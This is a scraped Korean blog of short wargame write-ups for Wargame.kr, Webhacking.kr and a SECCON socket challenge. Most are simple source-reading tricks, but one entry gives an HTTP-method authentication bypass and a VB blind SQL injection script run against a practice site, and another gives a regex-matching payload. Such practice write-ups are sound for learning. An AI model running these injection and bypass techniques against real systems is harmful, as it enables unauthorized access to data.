반응형

간단한 문제다.


버튼을 클릭하면 되는 문제인데, 소스코드를 보면 onclick이벤트가 지정되있다.


그 지정된 값을 웹사이트에 get Method로 보내면 성공

'Write up > Wargame' 카테고리의 다른 글

[Wargame.kr] WTF_CODE (450p)  (0) 2016.04.27
[Wargame.kr] login filtering (450p)  (0) 2016.04.27
[Wargame.kr] QR CODE PUZZLE (300p)  (0) 2016.04.27
[Wargame.kr] already got (200p)  (0) 2016.04.27
[Webhacking.kr]12번 문제  (0) 2014.10.30
블로그 이미지

KuroNeko_

KuroNeko

,
반응형

이 문제는 QR코드를 퍼즐처럼 맞추는 것처럼 보인다.


하지만 소스코드를 보면


$('#join_img').attr('src',unescape('.%2f%69%6d%67%2f%71%72%2e%70%6e%67'));


와 같은 src 값이 보인다.


url decode를 해서 접속하고 QR코드 해석후 인증하면 성공~

'Write up > Wargame' 카테고리의 다른 글

[Wargame.kr] login filtering (450p)  (0) 2016.04.27
[Wargame.kr] flee button (450p)  (0) 2016.04.27
[Wargame.kr] already got (200p)  (0) 2016.04.27
[Webhacking.kr]12번 문제  (0) 2014.10.30
[Webhacking.kr]11번 문제  (0) 2014.10.30
블로그 이미지

KuroNeko_

KuroNeko

,
반응형

문제 제목 그대로 웹사이트 접속할 때 FLAG를 resopne Header에 넣어서 준다.


그 값을 auth하면 성공~

'Write up > Wargame' 카테고리의 다른 글

[Wargame.kr] flee button (450p)  (0) 2016.04.27
[Wargame.kr] QR CODE PUZZLE (300p)  (0) 2016.04.27
[Webhacking.kr]12번 문제  (0) 2014.10.30
[Webhacking.kr]11번 문제  (0) 2014.10.30
[Webhacking.kr]10번 문제  (0) 2014.10.30
블로그 이미지

KuroNeko_

KuroNeko

,
반응형

이 문제 같은 경우에는 소켓통신을 통한 간단한 숫자 게임이였습니다.

간단히 룰을 설명하면 가장 작은 숫자나 가장 큰 숫자를 찾아서 데이터값을 보내주면 다음으로 진행하는 방식이였습니다.


이걸 풀기 위해, 데이터 값을 받았을 떄 max나 min이 데이터 안에 들어있다면 Sorting을 통해서 정렬하여 첫번째 값을 보내주면 끝나겠죠.


아래는 파이썬으로 간단히 만들어본 소스입니다.


from socket import *


sock = socket(AF_INET,SOCK_STREAM)

sock.connect(('number.quals.seccon.jp',31337))


i=1


while True:

    data = sock.recv(2048)

    data_list=data.split('\n')

    splited= data_list[0].split(', ')

    print i, 'Attempt...'

    print "list :: " , len(splited) , "\n"

    print splited , "\n"

    if 'max' in data_list[1]:

        for i in range(0,len(splited)):

            for k in range(0,len(splited)):

                if(int(splited[i]) >= int(splited[k])):

                    temp = splited[i]

                    splited[i] = splited[k]

                    splited[k] = temp

        sender = splited[0]

        print data_list[1] + sender , "\n"

    elif 'min' in data_list[1]:

        for i in range(0,len(splited)):

            for k in range(0,len(splited)):

                if(int(splited[i]) <= int(splited[k])):

                    temp = splited[i]

                    splited[i] = splited[k]

                    splited[k] = temp

        sender = splited[0]

        print data_list[1] + sender , "\n"

    elif 'Congra' in data_list[1]:

        sock.send(sender)

        

    if sock.send(sender):

        i+=1

    

sock.close()


이렇게 하시면 값을 얻을 수 있게 됩니당.

'Write up' 카테고리의 다른 글

[dctf 2020] writeup  (0) 2020.12.10
Write up  (0) 2014.10.04
블로그 이미지

KuroNeko_

KuroNeko

,
반응형

javascript 문제입니다.

먼저 소스코드를 보면


위와 같습니다. <script>와 eval(wtf) 사이의 값을 크롬에 있는 Console쪽에서 실행시키시면


이런식으로 스크립트가 나옵니다. 이걸 그대로 복사해서 html로 만든다음 

살짝 조작해주시면 값이 나옵니다.

그걸 Auth에 넣어주시면 클리어!

'Write up > Wargame' 카테고리의 다른 글

[Wargame.kr] QR CODE PUZZLE (300p)  (0) 2016.04.27
[Wargame.kr] already got (200p)  (0) 2016.04.27
[Webhacking.kr]11번 문제  (0) 2014.10.30
[Webhacking.kr]10번 문제  (0) 2014.10.30
[Webhacking.kr]9번 문제  (0) 2014.10.30
블로그 이미지

KuroNeko_

KuroNeko

,
반응형

이 문제는 php 정규식(regex) 문제입니다.


문제의 페이지에 들어가시면


$pat="/[1-3][a-f]{5}_.*아이피.*\tp\ta\ts\ts/";

if(preg_match($pat,$_GET[val])) { echo("Password is ????"); }


이런식으로 되어 있을 겁니다.


php 정규식에 따르면


/ 는 정규식의 시작과 끝을 알려줌

[] 는 대괄호 안의 문자나 숫자중 한개를 추출하는 것

{}는 앞의 문자나 숫자가 몇번 반복할지 정해주는 것

* 는 앞의 문자가 한개이상 올 수 있다는 것


라는데요..

뒤에는 \t가 있네요 이건 탭(tab)을 뜻하는 거고, 아스키코드로 9입니다


위에 따라서 하시면 페이로드는 아래와 같습니다.


1aaaaa_아이피%09p%09a%09s%09s


'Write up > Wargame' 카테고리의 다른 글

[Wargame.kr] already got (200p)  (0) 2016.04.27
[Webhacking.kr]12번 문제  (0) 2014.10.30
[Webhacking.kr]10번 문제  (0) 2014.10.30
[Webhacking.kr]9번 문제  (0) 2014.10.30
[Webhacking.kr]8번 문제  (0) 2014.10.30
블로그 이미지

KuroNeko_

KuroNeko

,
반응형

아래 사진은 해당 문제의 웹페이지 화면입니다.



여기서 소스를 보도록 하겠습니다.


<html>
<head>
<title>Challenge 10</title>
</head>
<body>
<hr style=height:100;background:brown;>
<table border=0 width=900 style=background:gray>
<tr><td>
<a style="position:relative;left:0;top:0" onclick="this.style.posLeft+=1;if(this.style.posLeft==800)this.href='?go='+this.style.posLeft" onmouseover=this.innerHTML='yOu' onmouseout=this.innerHTML='O'>O</a><br>
<font style="position:relative;left:800;top:0" color=gold>|<br>|<br>|<br>|<br>buy lotto</font>
</td></tr>
</table>
<hr style=height:100;background:brown;>
</body>
</html>


저 O를 클릭하면 오른쪽으로 1씩 움직이네요 그렇다면

F12을 누르셔서 O의 위치를 799까지 조작하신다음 클릭한번 해주시면 성공!

(크롬은 안되니까 IE를 쓰세요)


'Write up > Wargame' 카테고리의 다른 글

[Webhacking.kr]12번 문제  (0) 2014.10.30
[Webhacking.kr]11번 문제  (0) 2014.10.30
[Webhacking.kr]9번 문제  (0) 2014.10.30
[Webhacking.kr]8번 문제  (0) 2014.10.30
[Webhacking.kr]7번 문제  (0) 2014.10.05
블로그 이미지

KuroNeko_

KuroNeko

,
반응형

9번을 풀기위해 문제를 눌러보니

아래 사진과 같이 인증을 해야하네요.


여기서 먼저 알아둬야하는게 있는데요,

먼저 웹페이지의 전송 방법(method)는 여러개가 있습니다.

가장많이 쓰이는게 GET과 POST죠. 일반적으로는 이렇게만 쓰이지만

다른 메소드로는 HEAD,PUTS,OPTIONS,TRACE 등이 있습니다.


저 인증을 우회하려면 apache의 인증 페이지 설정법에서

메소드를 선택해 그 메소드인 경우에 인증창을 띄우는 방법이 있습니다.

그렇다면 우리가 저 인증 페이지를 우회하기 위해서는 메소드를 get나 post대신 puts나 options등을 헤더로 조작해서 보내버리면 인증이 우회됩니다.


아래의 사진은 인증을 우회한 사진입니다.


저기서 3번링크에 힌트가 있는데요.

length = 11

column = id,no

이렇게 있네요. 그렇다면 딱봐도 sql 인젝션 문제네요.

no은 주소창에 num을 통해서 인젝션되니 blind sql injection으로 문제를 풀어보면 되겠네요.


페이로드는 프로그램화 시켰습니다.

- VB


Dim i, k As Integer


        For i = 1 To 50

            For k = 65 To 122

                winhttp.Open("PUTS", "http://webhacking.kr/challenge/web/web-09/index.php?no=if(substr(id," & i & ",1)in(0x" & Hex(k) & "),3,4)")

                winhttp.SetRequestHeader("Cookie", "PHPSESSID=jhlj5u0gvbec5lb35ovftoret1")

                winhttp.SetRequestHeader("Content-Type", "text/html")

                winhttp.Send()


                Label1.Text = i & " : " & Chr(k)


                TextBox1.Text = winhttp.ResponseText


                If (InStr(winhttp.ResponseText, "hint")) Then

                    ListBox1.Items.Add(Chr(k))

                    k = 122

                End If

                Application.DoEvents()

            Next k

            Application.DoEvents()

        Next i


아마 답이 대문자로 나올텐데 소문자로 pw란에 입력하시면 클리어!

'Write up > Wargame' 카테고리의 다른 글

[Webhacking.kr]11번 문제  (0) 2014.10.30
[Webhacking.kr]10번 문제  (0) 2014.10.30
[Webhacking.kr]8번 문제  (0) 2014.10.30
[Webhacking.kr]7번 문제  (0) 2014.10.05
[Webhacking.kr]6번 풀이  (0) 2014.10.05
블로그 이미지

KuroNeko_

KuroNeko

,